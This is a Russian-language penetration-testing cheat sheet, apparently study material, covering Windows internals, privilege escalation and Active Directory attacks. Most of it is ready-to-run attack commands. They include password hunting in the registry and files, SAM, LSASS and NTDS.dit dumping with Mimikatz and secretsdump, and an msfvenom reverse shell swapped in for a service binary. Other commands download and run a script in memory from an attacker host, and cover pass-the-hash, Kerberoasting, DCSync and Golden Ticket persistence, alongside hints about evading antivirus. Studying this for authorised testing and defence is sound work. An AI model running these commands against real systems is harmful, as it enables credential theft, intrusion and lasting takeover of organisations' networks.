Windows: архитектура, привилегии, AD-эксплуатация
🪟 Что это
Windows — основа корпоративных сетей. 90%+ компаний используют Windows + Active Directory. Пентест Windows-инфраструктуры — самый востребованный навык. Здесь: как устроен Windows изнутри, где искать пароли, как повышать привилегии, как атаковать AD.
Аналогия: если Linux — это дом с понятной планировкой (всё в текстовых файлах), то Windows — это офисное здание с пропускной системой, камерами и реестром посетителей. Сложнее, но и интереснее.
📌 Архитектура Windows — что нужно знать
Важные директории
C:\Windows\ ← системная папка
├── System32\ ← ключевые системные файлы
│ ├── config\ ← реестр (SAM, SYSTEM, SECURITY) ★★★
│ │ ├── SAM ← хеши локальных паролей
│ │ ├── SYSTEM ← системные ключи (нужен для расшифровки SAM)
│ │ └── SECURITY ← кэшированные доменные пароли
│ ├── drivers\etc\hosts ← локальный DNS
│ └── GroupPolicy\ ← локальные групповые политики
├── Temp\ ← временные файлы
└── Prefetch\ ← история запуска программ
C:\Users\ ← домашние папки ★
├── Administrator\
│ ├── Desktop\
│ ├── Documents\
│ └── AppData\ ← скрытые данные приложений ★★
│ ├── Local\
│ ├── LocalLow\
│ └── Roaming\
│ └── Microsoft\
│ └── Credentials\ ← сохранённые пароли ★★★
└── [username]\
C:\ProgramData\ ← данные программ (скрытая)
C:\Program Files\ ← 64-bit программы
C:\Program Files (x86)\ ← 32-bit программы
C:\inetpub\wwwroot\ ← корень IIS (веб-сервер)
Реестр Windows
Реестр — иерархическая база данных настроек. Всё в Windows настраивается через реестр.
HKEY_LOCAL_MACHINE (HKLM) ← настройки системы
├── SAM ← хеши паролей (зашифрованы)
├── SECURITY ← политики безопасности
├── SOFTWARE ← настройки программ
│ └── Microsoft\Windows\CurrentVersion\Run ← автозагрузка ★
└── SYSTEM ← драйверы, сервисы
HKEY_CURRENT_USER (HKCU) ← настройки текущего пользователя
├── SOFTWARE\ ← пользовательские программы
└── Environment\ ← переменные окружения
HKEY_USERS (HKU) ← настройки всех пользователей
Для пентестера:
# Автозагрузка — можно добавить backdoor
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
# Пароли в реестре
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
# VNC-пароль
reg query HKCU\Software\ORL\WinVNC3\Password
# Autologon пароли
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
Первые команды после шелла
# Кто я
whoami
whoami /priv # Привилегии текущего пользователя ★★★
whoami /groups # Группы
# Информация о системе
systeminfo # ОС, версия, патчи, архитектура ★★
hostname
ipconfig /all # Сетевые интерфейсы, DNS, DHCP
# Пользователи
net user # Локальные пользователи
net user Administrator # Детали пользователя
net localgroup # Локальные группы
net localgroup Administrators # Кто в группе админов
# Сеть
ipconfig /all
route print
arp -a
netstat -ano # Открытые порты + PID процесса
# Домен (если в AD)
net user /domain # Доменные пользователи
net group /domain # Доменные группы
net group "Domain Admins" /domain # Кто доменный админ ★★★
# Запущенные процессы
tasklist /v
wmic process list full
# Установленные программы
wmic product get name,version
# Сервисы
sc query state=all
wmic service list full
⚡ Windows Privilege Escalation
Шаг 1 — Проверка привилегий
whoami /priv
Опасные привилегии:
- SeImpersonatePrivilege — можно украсть токен другого пользователя → мгновенный SYSTEM через Potato-атаки ★★★
- SeDebugPrivilege — отладка любого процесса → дамп памяти LSASS → хеши паролей
- SeBackupPrivilege — чтение любого файла → копирование SAM/SYSTEM
- SeRestorePrivilege — запись любого файла → подмена системных файлов
- SeLoadDriverPrivilege — загрузка драйверов → выполнение кода в ядре
- SeTakeOwnershipPrivilege — смена владельца любого файла
SeImpersonatePrivilege — самый частый вектор. Есть у сервисных аккаунтов (IIS, MSSQL, сервисы):
# Potato-атаки (на цели)
# JuicyPotato, PrintSpoofer, GodPotato, SweetPotato
# PrintSpoofer (Windows 10 / Server 2016+)
PrintSpoofer.exe -i -c "cmd /c whoami"
# → nt authority\system
# GodPotato
GodPotato.exe -cmd "cmd /c whoami"
Шаг 2 — Поиск паролей
# Сохранённые пароли WiFi
netsh wlan show profiles
netsh wlan show profile name="WiFiName" key=clear
# Пароли в реестре
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
# Credential Manager
cmdkey /list # Сохранённые учётные записи
# Если есть сохранённые — можно использовать runas:
runas /savecred /user:Administrator cmd.exe
# Файлы unattend/sysprep (пароли установки)
type C:\unattend.xml
type C:\Windows\Panther\Unattend.xml
type C:\Windows\system32\sysprep\Unattend.xml
# IIS конфиг
type C:\inetpub\wwwroot\web.config
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
# PowerShell история
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# Поиск файлов с паролями
dir /s /b *pass*.txt *pass*.xml *pass*.ini *cred* *vnc* *.config 2>nul
findstr /si "password" *.txt *.ini *.config *.xml *.php 2>nul
Шаг 3 — Сервисы
# Все сервисы
sc query state=all
# Сервисы с неправильными правами
# Если можешь изменить путь к бинарнику сервиса, который запускается от SYSTEM:
sc qc ServiceName
# Unquoted Service Paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"
Unquoted Service Path — если путь к сервису содержит пробелы и не заключён в кавычки:
# Путь сервиса: C:\Program Files\My App\service.exe
# Windows пробует по порядку:
# C:\Program.exe
# C:\Program Files\My.exe
# C:\Program Files\My App\service.exe
# Если можешь создать C:\Program Files\My.exe — он выполнится от SYSTEM
Writable Service Binary — если можешь заменить бинарник сервиса:
# Проверка прав через icacls
icacls "C:\path\to\service.exe"
# Если (M) или (F) у твоей группы — можно заменить
# Генерируем payload
msfvenom -p windows/shell_reverse_tcp LHOST=KALI_IP LPORT=4444 -f exe > service.exe
# Заменяем и перезапускаем
sc stop ServiceName
copy service.exe "C:\path\to\service.exe"
sc start ServiceName
Шаг 4 — Автоматизация
# WinPEAS — аналог LinPEAS для Windows
winpeas.exe
# PowerUp (PowerShell)
powershell -ep bypass
Import-Module .\PowerUp.ps1
Invoke-AllChecks
# Seatbelt — сбор информации о системе
Seatbelt.exe -group=all
🔍 Хеши и пароли Windows
Где хранятся пароли
SAM (Security Account Manager) — хеши локальных пользователей. Файл C:\Windows\System32\config\SAM. Зашифрован ключом из файла SYSTEM.
NTDS.dit — база Active Directory на Domain Controller. Содержит хеши ВСЕХ доменных пользователей. Файл C:\Windows\NTDS\ntds.dit.
LSASS (Local Security Authority Subsystem) — процесс в памяти, хранит пароли/хеши текущих сессий. Процесс lsass.exe.
Извлечение хешей
Из SAM (локальные пароли):
# Через Meterpreter
hashdump
# Через secretsdump (Impacket) с SeBackupPrivilege
secretsdump.py -sam SAM -system SYSTEM LOCAL
# Сохранение файлов реестра (нужны права)
reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
reg save HKLM\SECURITY security.save
Из LSASS (пароли из памяти):
# Mimikatz — главный инструмент ★★★
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords # Пароли в открытом виде!
sekurlsa::wdigest # WDigest пароли
lsadump::sam # Локальные хеши
# Через procdump (создание дампа LSASS)
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Потом на своей машине через Mimikatz:
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
Из NTDS.dit (все доменные пароли):
# Через secretsdump (удалённо, нужны права Domain Admin)
secretsdump.py domain/admin:password@DC_IP
# Через DCSync (не нужен физический доступ к DC)
# В Mimikatz:
lsadump::dcsync /domain:corp.local /user:Administrator
Pass-the-Hash
Не нужно знать пароль — хеша достаточно для аутентификации:
# Impacket psexec
psexec.py -hashes :NTLM_HASH Administrator@TARGET_IP
# Impacket wmiexec
wmiexec.py -hashes :NTLM_HASH Administrator@TARGET_IP
# CrackMapExec
crackmapexec smb TARGET_IP -u Administrator -H NTLM_HASH
# Evil-WinRM
evil-winrm -i TARGET_IP -u Administrator -H NTLM_HASH
⚡ Active Directory — атаки
Разведка AD
# BloodHound — визуальная карта AD (лучший инструмент)
# На цели запускаем collector:
SharpHound.exe -c All
# Или через Python:
bloodhound-python -d domain.local -u user -p password -ns DC_IP -c all
# Загружаем результат в BloodHound GUI
# Показывает пути от текущего пользователя до Domain Admin
BloodHound — показывает графически кто куда имеет доступ, и находит кратчайший путь до Domain Admin. Абсолютный must-have.
Kerberoasting
Любой доменный пользователь может запросить сервисный тикет и взломать его офлайн:
# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip DC_IP -request
# На выходе — хеш, который ломаем через hashcat:
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
AS-REP Roasting
Атака на аккаунты с отключённой Kerberos pre-authentication:
# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip DC_IP -no-pass
# Hashcat
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
Golden Ticket
Если получил хеш аккаунта krbtgt (через DCSync) — можешь создать TGT на любого пользователя:
# Mimikatz
kerberos::golden /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH /user:Administrator /ptt
Golden Ticket действует даже после смены пароля пользователя — до тех пор, пока не сменят пароль krbtgt (что делают крайне редко).
Распространённые пути атаки в AD
1. Начальный доступ (фишинг, веб-уязвимость, слабый пароль)
↓
2. Локальный privesc (Potato, сервисы, CVE)
↓
3. Сбор хешей (Mimikatz, SAM dump)
↓
4. Lateral Movement (Pass-the-Hash на другие машины)
↓
5. Нахождение Domain Admin сессии (BloodHound)
↓
6. Кража токена/хеша Domain Admin
↓
7. DCSync — дамп всех хешей домена
↓
8. Golden Ticket — постоянный доступ
🔧 PowerShell для пентестера
Базовые команды
# Информация о системе
Get-ComputerInfo
Get-WmiObject Win32_OperatingSystem
# Пользователи
Get-LocalUser
Get-LocalGroupMember Administrators
# Процессы
Get-Process
Get-Process | Where-Object {$_.ProcessName -eq "lsass"}
# Сервисы
Get-Service
Get-Service | Where-Object {$_.StartType -eq "Automatic"}
# Сеть
Get-NetIPAddress
Get-NetTCPConnection | Where-Object {$_.State -eq "Listen"}
# Файлы
Get-ChildItem -Path C:\ -Recurse -Filter "*.txt" -ErrorAction SilentlyContinue
Загрузка и выполнение в памяти
# Обход политики выполнения
powershell -ep bypass
# Загрузка скрипта в память (не касается диска)
IEX(New-Object Net.WebClient).DownloadString('http://KALI_IP/script.ps1')
# Или через Invoke-Expression
powershell -c "IEX(IWR http://KALI_IP/script.ps1 -UseBasicParsing)"
Полезные скрипты
# PowerView — разведка AD
Import-Module .\PowerView.ps1
Get-NetDomain # Информация о домене
Get-NetUser # Все пользователи
Get-NetGroup "Domain Admins" # Кто Domain Admin
Find-LocalAdminAccess # На каких машинах мы локальный админ
Get-NetSession # Активные сессии
# PowerUp — привилегии
Import-Module .\PowerUp.ps1
Invoke-AllChecks # Автоматическая проверка всех векторов
🛡 Основные инструменты для Windows-пентеста
Impacket (Python, запуск с Kali)
psexec.py # Удалённый шелл через SMB
wmiexec.py # Удалённый шелл через WMI
smbexec.py # Удалённый шелл через SMB
secretsdump.py # Дамп хешей (SAM, LSA, NTDS)
GetUserSPNs.py # Kerberoasting
GetNPUsers.py # AS-REP Roasting
ntlmrelayx.py # NTLM Relay атаки
Другие ключевые инструменты
mimikatz.exe # Извлечение паролей из памяти ★★★
BloodHound # Визуальный анализ AD ★★★
Rubeus.exe # Kerberos-атаки (замена Mimikatz для Kerberos)
Certify.exe # Атаки на AD Certificate Services
evil-winrm # WinRM-шелл с Kali
CrackMapExec # Мультитул для SMB/LDAP/WinRM
Responder # LLMNR/NBT-NS poisoning
SharpHound # Collector для BloodHound
🧠 Готовые комбо
Первые действия после шелла на Windows:
whoami /priv → systeminfo → net user /domain → netstat -ano → поиск паролей в реестре и файлах → WinPEAS
Privilege Escalation:
whoami /priv → SeImpersonatePrivilege? → PrintSpoofer/GodPotato → SYSTEM. Нет? → unquoted service paths → writable services → scheduled tasks → kernel exploit
От пользователя до Domain Admin:
BloodHound → найти путь → Mimikatz (хеши) → Pass-the-Hash → lateral movement → найти DA сессию → украсть токен → DCSync → Golden Ticket
Полный дамп AD:
Получить Domain Admin → secretsdump.py domain/admin:pass@DC_IP → все хеши домена → hashcat → все пароли
⚠️ Важные моменты
- whoami /priv — первая команда на Windows. SeImpers SYSTEM через Potato
- Mimikatz — главный инструмент Windows-пентестера. Учи его как Metasploit
- BloodHound меняет правила игры. Без него поиск пути до Domain Admin — это гадание. С ним — чёткая дорожная карта
- Pass-the-Hash — уникальная особенность Windows. На Linux хеш бесполезен без расшифровки. На Windows хеш = пароль
- NTDS.dit — святой грааль. Дамп этого файла = все пароли всех пользователей домена
- PowerShell — друг пентестера. Выполнение в памяти, загрузка без касания диска, обход антивируса
- Unquoted Service Paths — простейший вектор. Проверяй всегда, встречается чаще, чем кажется
- Golden Ticket живёт до смены пароля krbtgt. А его меняют раз в несколько лет (если вообще меняют)
- Windows Defender и AMSI блокируют Mimikatz. На современных системах нужны обходы — obfuscation, reflective loading, кастомные тулы